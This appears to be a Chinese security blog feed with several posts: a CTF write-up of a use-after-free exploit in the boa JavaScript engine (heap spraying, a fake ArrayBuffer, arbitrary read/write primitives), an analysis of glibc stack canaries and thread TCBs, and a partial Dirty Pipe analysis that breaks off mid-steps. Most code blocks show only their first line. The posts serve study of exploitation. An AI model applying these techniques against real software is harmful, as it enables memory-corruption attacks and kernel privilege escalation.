时执行传入 lifetime 对象的 hook 函数,在这个函数中进行 sleep + gc。这样一来,在 TimedCache::get
函数中就可以尝试返回一个被释放掉的 gc 引用,触发 UAF。
后续便可通过堆喷 + UAF 来进行漏洞利用。
在做题时顺便研究了一下 rust-gc 库,看看有没有多线程竞争的可能。调试发现整个 boa 进程竟然只有一个主线程,当创建的对象总大小超过某个阈值后,boa 才会主动触发 GC 进行 mark & sweep,这个初始阈值每个线程是 100 字节:
1 | // /root/.cargo/registry/src/mirrors.tuna.tsinghua.edu.cn-df7c3c540f42cdbd/gc-0.4.1/src/gc.rs |
rust-gc 库不长,花点时间理解库的实现对做题帮助巨大。
每一个 GC 对象都有一个 GC header,用来记录当前对象的一些额外属性。例如 mark
标记,next
GC 链上的下一个对象引用等等:
1 | let gcbox = Box::into_raw(Box::new(GcBox { |
当应用程序调用 Gc::new
函数创建堆对象时,该函数实际就会通过上面的 GcBox
来创建对象:
1 | impl<T: Trace> Gc<T> { |
而 Gc<_>
结构体只会持有指向 GcBox<_>
的指针,同时也只有GcBox<_>
的分配与释放才会实际受到 mark&sweep GC 的管理。
当触发 GC 开始 mark 阶段后,GC 会遍历之前维护的 GcBox<_>
链上的元素,将其挨个标记,并递归标记当前结构体的子字段。每个 GcBox 都有一个 root 字段(取值只有0和1),用于表示当前 GcBox 是否在 GC 维护的单向链表上。如果有些 GcBox 是其他 GcBox 的子字段,那么这些身为子字段的 GcBox,其 root 属性就会为 0。GC 回收的正是那些 不在 GcBox 链上且无 mark 的 GcBox。
在通过 Gc::new
创建 GcBox 时,GcBox 不会放置在 Gc 链上;但 gc 可以通过 boa 最顶端的 gc 持有者,一步步递归向下执行 trace 来标记各个 GcBox<_>
。整个流程非常的自洽,没有问题。而本题之所以会有漏洞,是因为boa 对 TimeCachedValue 类实现的 custom_trace
存在错误 :
1 | unsafe impl Trace for TimeCachedValue { |
将外部可变条件判断引入进 trace 中,就会导致出现虽然整体上这个 Gc 变量还在对象树上,但是 GC 中的数据已经被释放的情况。
这里的外部可变条件是:时间。
换句话说,这个 trace 函数的实现违背了一个规则:不允许在变量所有权没有发生任何修改的情况下释放变量。
下面是一个正确使用 custom_trace 的例子:
1 | unsafe impl<V: Trace, S: BuildHasher> Trace for OrderedMap<V, S> { |
可以看到该实现是尽心尽力地将 trace 传播进子字段中,没有引入其他外部可变条件。
在测试时无意间触发了一个 panic,代码如下:
1 | tc = new TimedCache() |
稍微整了一个稳触发版本:
1 | tc = new TimedCache() |
stack trace 很长,大致可以看出和 GC 有关。看了一下代码,这个 panic 是为了限制 Gc<_>
勿在 sweep 阶段对所持有的 GcBox<_>
指针进行解引用,因为这会造成非预期情况,不够安全。
这段代码产生该类型 panic 的原因是因为 UAF。上面代码中 JS 对象{}
所在的 GcBox
本应该为 root=0,即正常不会进入 unsafe 代码块,但由于内存释放,root 字段所在内存的值发生修改,因此 self.rooted()
返回 true,进入 unsafe 代码区域,触发 check 造成 panic:
1 | impl<T: Trace + ?Sized> Drop for Gc<T> { |
一路研究到现在,根据现有的思路,尝试构建出以下 POC:
1 | // console wrapper |
最后的 debug 输出了一个 JSObject,符合预期:
1 | JsValue @0x75870461d090 |
接下来要想想该如何泄露有用的地址出来。可以试着将 free 后堆块中的数据输出出来看看:
1 | // tools wrapper |
输出:
1 | [+] fake_timeout called |
可以看到这里的输出有两种数对,每种数对中都有一大一小两个数,组合起来刚好为有效内存地址:
uaf_obj[3] * 0x100000000 + uaf_obj[2] == 0x72d3b04440f0
:
这块内存由 rust 自己来管理。在 exp 不变的情况下,这个地址相对于当前段的偏移,将大概在 0x4440f0
左右。
uaf_obj[17] * 0x100000000 + uaf_obj[16] == 0x7fffff3d1f07
,相对偏移 0x1f07
:
注意:set 进 TimedCache 的 Array 长度为 20,太长或太短都无法收集到有意义的指针。
这样我们就能获取到这两个段的基地址;有意思的是,这两个段中间那个被夹着的段正是在执行 main 函数前通过 ctor 执行 mmap 操作所分配的内存,这块内存在每次重启程序后,长度都会发生变化(因为 getrandom):
注意程序会被调试多次,因此每张图中的地址不会一一对应(例如上图中的地址就无法映射至下图)。
这两个段中,地址较低、大小较大的段为 rust 管理的堆内存,上面存放着许多 rust 创建的对象,注意要和 heap 区分开。
堆喷时,需要让数组对象的 Backing store,分配至被释放 JsObject 的 Object 结构体内存空洞。这样一来,我们就可以通过数组对象来改写 UAF JsObject 的 Object 结构体数据,构造 fake object。
在 JS 引擎漏洞利用中,通常会用 Typed Array + ArrayBuffer 类来占据被释放的内存。因为 boa 提供了针对 ArrayBuffer 的指针输出逻辑,而 BigUint64 有助于后续写入内存时以八字节为单位写入数据,这里我们选用 ArrayBuffer 来占内存,使用 BigUint64Array 来解释 ArrayBuffer。
但这里有些问题需要解决,既然要去占有 UAF 对象,那么:
先说第一个问题。我们较难从 rust 代码中直接看出一个结构体的大小,同时也无法得知 rust 在分配堆内存时其 堆块 metadata 等内容的长度(甚至堆块有没有 metadata 也不知道),但我们可以通过重复创建相同类型的变量并打印其指针信息来判断。例如:
1 | let spray_objs = []; |
根据输出中多个 Object 指针之间的间隔:
1 | JsValue @0x729fbc61d260 |
可以得知 ArrayBuffer
类型的 JSObject,其 Object
结构所占用的内存大小(包括 chunk metadata,下同)为 0x180 字节(也就是下面这个结构体)
1 | pub struct Object { |
那么这样一来就可以比较容易的得知某个 JS 类型的具体内存占用大小。
现在来到第二个问题。由于在 Spray 阶段分配 ArrayBuffer 时,boa 会同时分配 ArrayBuffer object(大小 0x180 字节)和 Backing store(大小由用户指定,内存对齐),那么我们自然希望堆喷时 Backing store 可以占据 UAF memory,而不是被那个与 backing store 同时分配的 ArrayBuffer object 占据。这样一来,UAF object 的大小就不能是 0x180。
构建一个非 0x180 大小的对象其实很简单,由于空对象 {}
的 Object 结构体大小已经为 0x180
字节了,因此随意构建一个诸如 {a:{}}
这样的嵌套对象,其 Object 结构体长度就会变更为 0x300
字节。结构越复杂的类,Object
结构体的大小就会越大。
现在实战一下堆喷:
1 | // tools wrapper |
输出:
1 | JsValue @0x7a7ecde1d090 |
尬住了,内存空洞被 ArrayBuffer 的 Object 给占住了。粗略判断 rust 内存分配策略可能是 first-fit,分配 0x180 时发现有块 0x300 刚好可以切割,于是就分配走了。
挣扎了一会,终于分配成功了:
1 | // ... |
输出
1 | JsValue @0x73dcb281d0c0 |
这次修改主要是把需要 set 进 TimedCache 的那个对象,从 {a:{}}
修改为 {a:{}, b:{}}
,这样一来 Object 结构体的大小就从 0x300 扩展至 0x480。在第一次分配 ArrayBuffer Object 对象时,内存管理器就不会立即从这块被释放的 0x480 上切割,而是获取其他位置的内存;等到第二次需要分配 0x180 大小的 Backing Store 时,再从这块内存空洞上切割一块下来,而 0x180 刚好是 Object 结构体的最低大小。
测试一下是不是真的占据成功了。在 JS 代码后面加个 debug(uaf_obj)
看看此时的输出:
1 | JsValue @0x701d8021d110 |
ArrayBuffer 分配成功后会清除掉这上面的全部数据,因此此时 uaf_obj 的 Methods 地址变为了 nullptr,验证了堆喷的成功。
现在我们已经占据了被释放的 Object 对象内存空洞。注意到 boa 上存在 RWX 段,我们可以试着将 shellcode 放置在此处并执行:
这个 RWX 段有些奇怪,在某些情况下是会没有 w 权限的,有些情况又会有。
同时还某些条件下还可能存在两个 RWX 段,神奇。
因此现在较为棘手的任务是构造任意地址读写原语。我们可以先为伪造的 obj 设置 method 指针,尝试构造一个 fake ArrayBuffer:
通过调试与 debug 输出,可知 fake obj 其 method 指针的偏移量为 0x11 * 8 字节。
1 | let ab = new ArrayBuffer(0x50); |
但如果只是这样,没有修改 Object 的枚举类型为 ArrayBuffer,那就会在使用这个 ArrayBuffer 时产生异常:
1 | Uncaught "TypeError": "buffer must be an ArrayBuffer" |
尝试去构造一个完整的 ArrayBuffer,但发现如果仅仅凭借着之前 leak 出来的堆地址,想要构造一个完整的 ArrayBuffer 几乎不可能,因为内部结构实在是太复杂了:
其中涉及到了堆、栈、二进制文件等地址,但目前能拿到的只有堆地址。需要再泄露出栈和二进制文件基地址才可以完成整个 fake obj 的构建。
那要怎么泄露栈和二进制文件基地址呢?还是尝试新壶装旧酒,通过打印被 free 掉的堆块,来看看有没有什么有用的信息。有意思的是,随着 exp 的编写,原先那个只能 leak 两个堆指针的 leak 原语,突然间就又可以多 leak 出一个二进制文件基地址了:
这样一来,此时就有了两个堆的基地址和一个二进制文件的加载基地址,但是还是没有栈指针。不过发现这个程序是直接 panic 而不是 segment fault,说明那些 ArrayBuffer 中的指针完全没用上,不然就会触发非法指针解引用直接 crash 了。
既然指针完全没用上,那么就尝试直接硬凑一些数据上去,看看是什么效果。首先要找到 ObjectKind
在 ObjectData
结构体中的相对偏移。通过调试器找到相对偏移量为0:
之后设置一些非指针数据(这些可能是枚举等)上去,并尝试任意地址读取:
1 | // 3. fake obj |
输出:
可以看到当前 fake object 已经被成功识别为 ArrayBuffer,同时从二进制文件基地址处读取到了 ELF 文件头。任意地址读取原语构造完成!
但是在尝试 fake obj 上执行写入操作时,会触发 panic:
1 | thread 'main' panicked at 'Object already borrowed: BorrowMutError', boa_engine/src/builtins/dataview/mod.rs:684:40 |
调试可得知这个 self.flags
相对 ArrayBuffer
的偏移量,将其置为 0
后该 Panic 成功消失:
但接下来会触发一个 GC 的空指针解引用… 通过栈回溯可以看到,这个 crash 是因为 BigUint64Array 尝试获取 mut 引用时,触发了 Fake obj 的 GC 逻辑,使其开始递归 mark 子字段的数据结构。由于 fake obj 仍然存在一些问题,没能完全复原,因此在递归为 PropertyMap 进行 trace 操作时就会触发 crash:
看看有没有办法绕过 GC。阅读代码发现只要这个 root 调用的条件不满足,就可以绕过 GC:
而这个条件又和刚刚设置的 self.flag
有关。刚刚设置为 0 刚好踩坑了(捂脸),应该设置为 1。设置完成后就可以进入内存写入环节:
上图是在写入时触发 SIGSEGV,不过这个是非常正常的,因为 ELF 头部所在内存是没有写权限的,因此写入会终止。
换个地址测试一下:
1 | // test read and write |
可以看到值已经成功写入目标内存区域:
任意地址写原语构造完成!
当任意地址读写原语构造出来后,后续的漏洞利用就是体力活了。利用任意地址读写原语,可以泄露栈、libc 等所有地址,同时也可以实现在数据段上部署 ROP 链,然后通过 stack pivot 来劫持控制流 get shell,这些就不再细讲了。
以下是编写的任意地址读写原语。注意这个 exp 是在本机环境测试,因此有些偏移或堆分布等会存在一些差异。
1 | // tools wrapper |
本题复盘结束。在这次复盘中,主要学习了 rust 在二进制层面的一些特性,同时也算通过这题入了 rust pwn 的一个小门。
本次复盘全程参考 r3kapig Defcon-30-Quals 文档 + 群内消息记录讨论,感谢 r3kapig 诸位师傅!
]]>一直都比较好奇 Canary 在 Linux 中的实现,但没什么心思去具体了解它的实现。这种好奇心在得知可以通过修改子线程的线程局部存储来达到篡改 canary 目的时达到了高峰,于是想好好去研究一下。
太久没写博客了,这里就简单记录一下。
Canary 是一种栈保护机制,用于在函数返回时检测当前栈是否被破坏。当函数调用压入新栈帧时,编译器会在新栈帧的栈底放一个随机值,并在函数返回退出栈帧时检查这个随机值是否被破坏。如果被破坏则说明当前存在栈溢出,程序退出:
有意思的是,为了防止 canary 被 printf 等字符串输出函数泄露,canary 的最低位始终为 /x00
。
当 Canary 验证失败时,编译器会要求调用 __stack_chk_fail
函数。应用层在触发 canary 异常时所调用的 __stack_chk_fail
函数实现在 glibc 中,该函数会打印一些信息并终止程序。由于该函数在输出信息时会根据 argv[0]
来输出程序路径,因此如果栈溢出长度可控的话,则攻击者可以控制栈底的 argv[0]
指针,利用 __stack_chk_fail
的触发来泄露信息。
注意 Canary 在 Linux 内核中也有应用,若在执行 Linux 内核代码时触发了栈溢出,则控制流将调用位于内核的 __stack_chk_fail
函数,该函数实际调用 panic 以终止内核执行。不过内核的 canary 使用已经有了现成的文章,因此这里不再赘述。
这里参考的是 glibc-2.23,虽然版本偏老但是原理还是不变的。
先一步一步来分析。
在 csu\libc-start.c
中的 __libc_start_main
函数中,可以找到 Canary 的赋值语句:
1 | /* Set up the stack checker's canary. */ |
其中,_dl_random
是一个存放来自内核的随机数的地址:
1 | /* Random data provided by the kernel. */ |
这个内核的随机数如果要细究初始化的时间点的话, 那只能说是在加载动态链接器之前(一个特别早的时间点)完成,其栈回溯如下:
elf\rtld.c: RTLD_START 宏:动态链接器主入口。
sysdeps\x86_64\dl-machine.h: RTLD_START 宏具体 asm 定义:动态链接器的实现涉及汇编,因此需要根据对应的架构来实现不同汇编代码的动态链接器。 从注释和代码中可以得知,动态链接器会先调用 _dl_start_user
来做一些初始化,之后将控制流跳转至用户程序的 ELF entry 地址:
1 | /* Initial entry point code for the dynamic linker. |
elf\rtld.c: _dl_start -> _dl_start_final -> _dl_sysdep_start 函数:_dl_sysdep_start 函数会调用一些平台依赖函数来做初始化等等,并调用 dl_main
函数来获取具体的用户程序 entry 地址。不过这个函数我们的重点不在于刚刚说的那些操作,而是这个 for 循环:
1 | ElfW(Addr) |
start_argptr
是一个指向调用动态链接器 argc
, argv
, env
, auxv
数据的指针,而DL_FIND_ARG_COMPONENTS
宏就是把这些数据一个个分门别类放到对应的变量 _dl_argc
、_dl_argv
、_environ
、_dl_auxv
上去。即可以得知该动态链接器被调用的参数除了我们最熟悉的三个以外,还多了一个 auxv
。
这个多出来的 auxiliary vector 参数是一个存放辅助程序执行的数据数组,至关重要。该参数里存放了很多有用的信息。这里我们只关心 AT_RANDOM
,即来自内核的随机数。这个随机数就是在这里被赋值给 _dl_random
变量用于生成 canary 。
回到 __libc_start_main
函数,在获取到随机数变量后,实际生成 canary 的逻辑如下:
1 | // sysdeps\unix\sysv\linux\dl-osinfo.h |
可以看到,canary 的值与 dl_random
的值相近,不同的是会在低字节处强制置为 \x00
防止泄露, 而该逻辑也与我们之前观察得到的结论相符。
我们还是先从 __libc_start_init
函数出发:
1 | /* Set up the stack checker's canary. */ |
如果设置了 THREAD_SET_STACK_GUARD
宏,即启用了线程栈保护,那么这个 canary 值就会设置进线程局部存储里:
1 | // sysdeps\x86_64\nptl\tls.h |
其中,THREAD_SELF 指的是当前线程的线程控制块:
1 | // sysdeps\x86_64\nptl\tls.h |
而 pthread
结构体的声明如下,根据注释可以得知 pthread
结构体就是线程控制块结构:
1 | /* Thread descriptor data structure. */ |
由于在 x86_64
架构下,TLS_DTV_AT_TP
宏定义为 0:
1 | // sysdeps\x86_64\nptl\tls.h |
因此 pthread
结构的首个字段为 tcbhead_t header
:
1 | // sysdeps\x86_64\nptl\tls.h |
在结构体 tcbhead_t
中,我们可以看到熟悉的 stack_guard
字段,单个线程的 canary 值就存放在这里。而 tcb
指针和 self
指针,实际指向的都是同一个地址,即 struct pthread
结构体(亦或者是 struct tcbhead_t
本身,这两个结构体地址相同)。
回顾 THREAD_SELF
宏定义,我们不难推断出 %fs
寄存器存放的是 struct pthread
结构体的地址,而 %fs:28h
引用的就是 pthread::tcbhead_t::stack_guard
的地方,与之前 IDA 中显示的一致。
不过不知道为什么要获取
struct pthread
地址得绕这么大弯,得获取其 head 的 self 指针…
这里需要说一下 %fs
寄存器为什么存放的是struct pthread
结构体的地址。看看这个宏定义:
1 | /* Code to initially initialize the thread pointer. This might need |
宏定义 TLS_INIT_TP
会调用 SYS_ARCH_SET_FS 系统调用,将 %fs
寄存器的值设置为传入的 pthread
结构体地址。这里也可以看到该宏定义会同步将线程控制块的地址设置进 tcb
指针和 self
指针字段中。
那么何时会调用 TLS_INIT_TP
宏来设置主线程的 TCB 至 %fs
中呢?有两种情况:
dl_main
函数时,满足某种条件需要提前使用 TLS,于是提早初始化。__libc_start_main
函数时,执行其中的 __pthread_initialize_minimal -> __libc_setup_tls
函数调用链。无论哪种可能,这两种情况都会在创建 canary 前完成。尤其是第二种,几乎贴着创建 canary 步骤。那么这一整个逻辑就都串起来了:
dl_main
函数前,先初始化 _dl_random
随机数。TLS_INIT_TP
宏,将 %fs
寄存器设置为主线程的线程控制块地址。__libc_start_main
之中使用 _dl_random
随机数,生成 canary 值,并将其存放在 %fs
寄存器所指定的线程控制块中用于存放 canary 的字段。Canary 写入主线程 TLS 的流程有了,那么要如何读取呢?在 sysdeps\x86_64\stackguard-macros.h
中有着这样的一段宏定义:
1 |
|
因此只要使用 STACK_CHK_GUARD
宏就能读取出当前线程的 canary 值,例如:
1 | if (stack_chk_guard_copy != STACK_CHK_GUARD) |
如果关闭了 THREAD_SET_STACK_GUARD
宏,即关闭线程栈保护,那么计算出来的 canary 值会被保留进全局变量 __stack_chk_guard
中:
1 | // __libc_start_main 函数片段 |
仍然可以通过 STACK_CHK_GUARD
宏来获取:
1 | // sysdeps\generic\stackguard-macros.h |
STACK_CHK_GUARD
宏在 glibc 中几乎找不到使用点,推测这个宏是为 gcc 编译时加入读取 canary 值的操作所做的准备。
主线程的 TCB 的内存分配过程过于复杂:
__libc_start_main -> __pthread_initialize_minimal -> __libc_setup_tls
函数调用链中,调用 __sbrk
函数在堆内存上分配 TLS。rtld
的 _dl_allocate_tls_storage
函数中调用 mmap
函数来分配 TLS。不过看上去大部分程序的 TCB 内存分配都会在 rtld 中提前进行,而不会等到走进 user entry
后才开始。随手写了个程序调试了一下,发现主线程 TLS 果然是通过 mmap 函数创建的:
gdb 无法直接读取 %fs
寄存器的值,会读取到一个 0:
因此需要用 gdb 调用 pthread_self
函数来获取当前线程的 TCB 位置,这个函数较为简单:
1 | pthread_t |
这里可以看到用户程序从 %fs:28h
处取出的 Canary 与主线程 TCB 中存放的 Canary 一致,验证之前的分析:
结论:主线程 TLS 位置较为随机,想通过修改主线程 TLS 来改主线程 canary 几乎是不可能的。
要看子线程的 TCB 与 Canary 逻辑,那就得移步进 pthread_create
函数的实现。这个函数位于 nptl\pthread_create.c
中,有 __pthread_create_2_0
和 __pthread_create_2_1
两个实现版本,不过 2.0 是 2.1 的 wrapper,因此我们将目光放在 2.1 版本的实现上。
这里只看有趣的代码片段:
1 | struct pthread *pd = NULL; |
首先,pthread_create
会创建线程栈(每个线程都有一个独立的栈),这个栈可以是用先前的缓存(例如重用被终止线程的栈),也可以是 mmap 出的一个新的栈。有趣的是,新线程的 TCB 会在这个线程栈上创建,那这就使得子线程的 TCB 地址对用户来说不再是随机的,因此可以通过子线程的栈溢出来覆写子线程 TCB 的 Canary。
需要注意的是,在 allocate_stack
这个为子线程分配栈的函数中,TCB(pthread
结构体)将会被放置在整个线程栈的栈底,即线程栈的最最最最底部(也就是最最高地址处)存放的是 TCB。
这个可以验证一下,从网上 CV 了一个 pthread 样例稍微改了下,编译调试:
1 |
|
下个断点在 thread
函数上,然后开跑切换至子线程。此时的线程栈和 TCB 地址如下,可以看到非常的贴近,而且都在同一个内存段上:
之后在线程栈底部找到了这个 Canary,偏移量是 0x878
(属实是有点远):
除了线程栈分配较为有趣以外,下边还有一个 THREAD_COPY_STACK_GUARD
宏调用,这个调用会把当前线程的 canary 复制一份进新线程的 TCB 中。注意控制流的基本单位是线程,虽然每个线程的 canary 值都相同,但在验证 canary 时,只会去获取当前 TCB 上存储的 canary 值。也就是说如果以非法手段将子线程的 canary 值改变,那么这种改变不影响其他线程的执行。
整个关于用户层 Canary 机制差不多就是分析的这些内容,这个机制还是比较有趣的。
Dirty Pipe 漏洞是 Linux 系统中的一个内核提权漏洞,漏洞危害堪比 Dirty COW,但相对于 Dirty COW 来说更加容易利用。
漏洞影响范围:pipe: merge anon_pipe_buf*_ops - linux commit (v5.8-rc1) ~ lib/iov_iter: initialize “flags” in new pipe_buffer(v5.17-rc6)
时间范围大概是 2020/5/21 - 2022/2/21。
参照先前的 Linux pwn 环境搭建笔记 来搭建出一个带有漏洞的 linux 环境。这里使用的 commit id 为 f6dd975583bd8ce088400648fd9819e4691c8958。
简单贴几个脚本:
几个关键文件夹的位置关系:
linux/busybox-1.34.1/_install
:busybox 文件系统位置linux/myfolder
:存放 exp 等需要复制进 VM 的文件
启动 linux 脚本:
1 | ! /bin/bash |
gdbinit:
1 | set architecture i386:x86-64 |
启动 qemu 时报了一个错:
这是因为先前启动 qemu 时忘记指定内存 -m
了,加个 -m 2G
分配 2G 的内存给 qemu 即可。
在分析漏洞之前,我们需要熟悉一下该漏洞所涉及的代码片段,也算是顺便熟悉一下 pipe 机制的实现。
这里将涉及 commit f6dd97 中的几个文件:
include/linux/pipe_fs_i.h
fs/pipe.c
fs/splice.c
lib/iov_iter.c
pipe_inode_info
结构体存放了 pipe 机制所要用到的字段:
1 | /** |
这个结构体麻雀虽小五脏俱全,该有的都有,包括等待写入/读取该管道的队列、管道大小、存放具体内存的指针数组等等。
pipe 存放数据使用的是环形队列,即在定长大小的数据环(pipe buf ring)上,尽可能的存储数据;因此这里需要简单强调一下一些字段的用途:
head
:标注队列首部的索引,注意这里的索引单位是一个 pipe_buffer
。head 为接下来要写入的位置。
tail
:标注队列尾部的索引,tail 为接下来要读取的位置。
上面两个字段的关系有点类似这样:
1 | low addr high addr |
无论是 head 还是 tail,它们都指向没写满的 pipe_buffer
(有点类似 STL 的 end 方法)。
max_usage
:最大可用的 pipe_buffer 个数,这个字段约束了整个 pipe 所能容纳的数据大小。
ring_size
:当前已分配的 pipe_buffer 个数,注意该值必须为2的幂。
files
:结构体 file 引用至该管道的个数。这个有点类似某个管道被 dup 出多个 fd 一样。
tmp_page
:缓存先前被释放的 page,这个 page 可以被重用以降低重分配开销。
bufs
:实际存放多个 pipe_buffer 的数组,在设计上我们需要将该一维数组看作一个环。
接下来我们简单深入一下结构体 pipe_buffer
,该结构体存放着实际管道中存放的数据:
1 | /** |
这个结构体存放了包括页引用、页偏移、数据大小等关键信息。这里的 flag 共有这几种:
1 | // include/linux/pipe_fs_i.h |
我们可以暂时不用去管这几种 flag 具体的意思。
结构体 iov_iter 用于迭代那种被分为多个页的数据,换句话说,该结构体将用于迭代一个个页面。其结构体如下所示:
1 | enum iter_type { |
其中,一些字段的意义如下:
type
:表示当前迭代的数据是来自于什么结构,例如:
后续针对 iov_iter 做内存读写时,会根据这个 type 来执行不同类型的内存读写操作。
iov_offset
:当前所迭代到 page 的相对偏移,读写将从该 page 的这个相对偏移开始。
cout
:可读写的数组字节大小
pipe_read 函数位于 fs/pipe.c
中,当内核需要从某个管道中读取数据时便会调用该函数:
1 | const struct file_operations pipefifo_fops = { |
首先,该函数声明如下:
1 | static ssize_t |
这些结构体我们可以不用记住,只需简单知道:
iocb
:中存放着获取当前 pipe 结构体的指针to
:从管道读出来的数据将要写入的地方,iov_iter 迭代器类型。接下来,内核从 to
中获取待读取的大小,并从 iocb
中获取 pipe_inode_info
结构体;如果待读取大小为 0 则直接返回:
1 | size_t total_len = iov_iter_count(to); |
接下来,kernel 尝试判断 pipe 是否已满,如果满了则设置 was_full
标志:
1 | was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage); |
虽然这个标志对我们理解主要逻辑没有太大的影响,但这里提起它是为了看看 pipe 是如何判断是否已满的:
1 | /** |
可以看到,如果 pipe->head - pipe->tail >= pipe->max_usage
,则说明 pipe 数据区已满。相对的,判断 pipe 是否为空也很简单:
1 | /** |
回到 pipe_read
函数,接下来 kernel 将循环读取 pipe:
1 | for (;;) { |
从函数 pipe_buffer 的注释中可以得知大致的读取 pipe 的流程。其中 copy_page_to_iter
函数会根据变量 to
的内部字段 type
来选择执行不同的操作:
不过总体上的功能,还是将传入的 page 复制进 iov_iter 所指向的位置。
1 | // include/linux/uio.h |
这里我们只关注当 to
也为一个 pipe 时,数据是如何复制的,即 copy_page_to_iter_pipe
函数。整个函数其实很短:
1 | static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes, |
简单讲下其中的关键:对于 recv pipe buf 来说,当有新的 page 数据复制到 recv pipe buf 上时,recv pipe buf 将直接引用该页,并记录下当前复制的 offset、len 等等,以降低性能开销。如果每次复制的都是不同的页,那 recv pipe bufs 上存放的就是不同页的引用,其中每页的 offset 和 len 可能不会饱和。
注意:由于这里 pipe buf 是直接引用其他页,因此在 page_write 处必须确保新传来的数据不会写入这样的页面中,而这种保证就依赖于 MERGE 标志。
在这里我们可以看到一个有意思的事情:虽然 recv pipe buf 结构体上的众多字段都被重新赋值,但有一个字段却被遗漏了,那就是 flags 字段!
除了 pipe_read 调用 copy_page_to_iter
函数,进而调用到 copy_page_to_iter
函数来传递数据至 pipe 以外,copy_to_iter
函数也可以用于 pipe 的数据传递:
1 | static __always_inline __must_check |
copy_to_iter 函数有很多个调用点,因此大概率存在某个调用点是通过 copy_to_iter
函数来向 pipe 中写入数据。这样一来控制流变可以通过 copy_to_iter-> _copy_to_iter -> copy_pipe_to_iter
来调用到真正执行数据拷贝的操作:
1 | static size_t copy_pipe_to_iter(const void *addr, size_t bytes, |
接下来我们再来看看函数 push_pipe
,从上面的注解我们也可得知这个函数是比较重要的:
1 | static size_t push_pipe(struct iov_iter *i, size_t size, |
从 push_pipe
函数中我们可以看到,当 kernel 循环扩充 pipe_buffer 上的页时,这里也并没有初始化 pipe_buffer 的 flag 标志!又因为 pipe_buffer 在设计上便是一个环,因此在扩孔 pipe_buffer 时,这里也将重用先前 pipe_buffer 所设置的 flag。
这里简单总结一下 copy_page_to_iter 函数与 copy_to_iter 函数在复制数据进 pipe 时 所实现的差异:
- 前者是在一个完整 page 上,将数据复制给 pipe。因此 pipe buf 只需直接引用该页,并记录下 offset 和 len,即可完成复制操作。
- 后者不保证源数据在完整 page 上,而是提供了 addr 和 len,因此 pipe buf 需要自己准备存放数据的 page。
这次我们只关注最精华的两部分,首先是 页合并:
1 | head = pipe->head; |
如果说当前 pipe buf 中已经存在数据,并且本次待写入的数据可以被该 pipe buf 剩余空间所容纳,则本次写入的数据将直接写入该 pipe buf 中,与先前的 pipe buf 数据合并。这个合并操作需要 pipe buf 有 PIPE_BUF_FLAG_CAN_MERGE 标志,该标志只要 pipe_write 所对应的 fd 没有设置 O_DIRECT 标志即可自动设置。
其次是正常的页面写入逻辑:
1 | for (;;) { |
这个 tmp_page 简单讲一下。如果该 pipe buf 所持有的 page 只有它自己持有,并且现在打算将其释放,那么 pipe buf 就私下不释放该 page,而是将其缓存起来供后续使用:
1 | static void anon_pipe_buf_release(struct pipe_inode_info *pipe, |
从 pipe 读写操作中我们可以得知,pipe bufs 存放的页面无非两种:
- 直接引用其他不变页(例如文件缓存页),这样就无需进行数据复制操作
- 自己创建页,需要进行数据复制
由 pipe 机制来保证存放在 pipe bufs 中的页数据,不会被 pipe 本身给覆写。同时注意只有在自己创建的页上,才能进行 Merge 操作。
Linux 库函数 splice
的作用是,将某个 fd 的数据不经过用户层,直接拷贝进另一个 fd 中。其函数声明如下:
1 |
|
这里的 fd 只能有两种情况:pipe fd 或 file fd,因此在 do_splice 函数中,内核也会对 fd 的类型做特判,来执行不同的数据传递操作。
这里,我们只需关注 From-fd 为 file,To-fd 为 pipe ,即数据从文件传递至管道的情况:
1 | /* |
而在 do_splice_to 函数中,内核会根据文件系统类型,来调用对应的 splice_read 函数:
1 | /* |
以 linux 中最常见的文件系统 ext4 为例,这是 ext4 文件系统中所设置的一些关键方法:
1 | // fs/ext4/file.c |
因此最终 do_splice_to 函数会调用到 generic_file_splice_read 函数来执行数据传递:
1 | /** |
从 generic_file_splice_read 函数的代码中可以看到,该函数最终会调用 call_read_iter 函数来做数据传递;而该函数又会调用特定于文件系统的 read_iter 函数:
1 | static inline ssize_t call_read_iter(struct file *file, struct kiocb *kio, |
从 ext4_file_operations
代码中可以得知,call_read_iter 函数调用到的是 ext4_file_read_iter 函数:
1 | static ssize_t ext4_file_read_iter(struct kiocb *iocb, struct iov_iter *to) |
然后该函数又调 generic_file_read_iter
:
1 | /** |
接着又调 generic_file_buffered_read
函数。该函数代码量太大了我就不贴了,只简单讲讲其大致功能:
这个函数正是我们先前所介绍过的,因此整个 splice 系统调用,就可以和 pipe 那里的未初始化漏洞串起来了。
这个漏洞并非一蹴而就,而是由两个 commit 的错误相互结合导致的:
new iov_iter flavour: pipe-backed - linux commit 241699:引入字段的未初始化漏洞。 push_pipe
和 copy_page_to_iter_pipe
两个函数在设置 pipe_buffer
结构体时均未初始化 flag 字段。
pipe: merge anon_pipe_buf*_ops - linux commit f6dd97:在该 commit 前,内核通过比较 pipe_buf->ops
的地址来判断两块 pipe_buf
是否是可合并的。这种编码并不优雅,因为无论是否可合并,pipe_buf->ops
实际指向的几个函数指针都是同一个:
1 | // fs/pipe.c |
可以看到,这么 tricky 的代码非常的不优雅,因此在该 commit(f6dd97) 中,linux 重构了这部分代码,启用了新的 pipe buf 标志:PIPE_BUF_FLAG_CAN_MERGE
:
1 | // include/linux/pipe_fs_i.h |
整个重构过程并没有问题,唯一带来的副作用就是引入了新的 pipe buf 标志:PIPE_BUF_FLAG_CAN_MERGE。
尽管第一个 commit 引入了字段未初始化漏洞,但该漏洞仍然无法造成较大的影响,因为可选的几个 pipe buf flag 中没有什么是可用于利用的。但是当第二个 commit 引入了新的 pipe buf flag:PIPE_BUF_FLAG_CAN_MERGE
时,该字段未初始化漏洞就非常的致命了,因为新的 pipe_buf 可以通过未初始化漏洞,来重用旧的 flag,例如 PIPE_BUF_FLAG_CAN_MERGE
,来打破 page buf 的完整性,使得允许对那些本不该写入的页进行写入(例如本不该带有 PIPE_BUF_FLAG_CAN_MERGE 标志的页,诸如文件缓存页等等)。
注意,这里说的只读页,在 pipe 中并非使用权限控制等技术来保证不写,而是通过 pipe 所实现的逻辑来保证。因此,当 pipe 实现的逻辑出现了问题,那么 pipe 就可以尝试写入只读页,进而达到任意文件写的目的。
通过上面的代码分析我们可以简单推断出这样的一条漏洞利用链:
创建管道(务必不要带上 O_DIRECT)
往管道中直接写入大量数据,使得 pipe 结构体中所有 page buf 的 flag 全部都设置了 PIPE_BUF_FLAG_CAN_MERGE 标志。
从该管道中将数据全部读取出来,释放所有 page buf。
